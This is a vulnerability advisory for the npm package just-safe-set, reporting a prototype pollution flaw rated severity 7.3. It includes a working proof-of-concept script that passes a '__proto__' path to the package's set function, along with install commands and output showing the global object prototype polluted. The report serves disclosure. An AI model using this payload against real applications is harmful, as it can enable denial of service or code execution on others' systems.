vulnerability prototype pollution
severity 7.3
language javascript
registry npm


just-safe-set is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const set = require('just-safe-set');
const obj = {};
console.log("Before : " + {}.polluted);
set(obj, '__proto__.polluted', "Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i just-safe-set # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted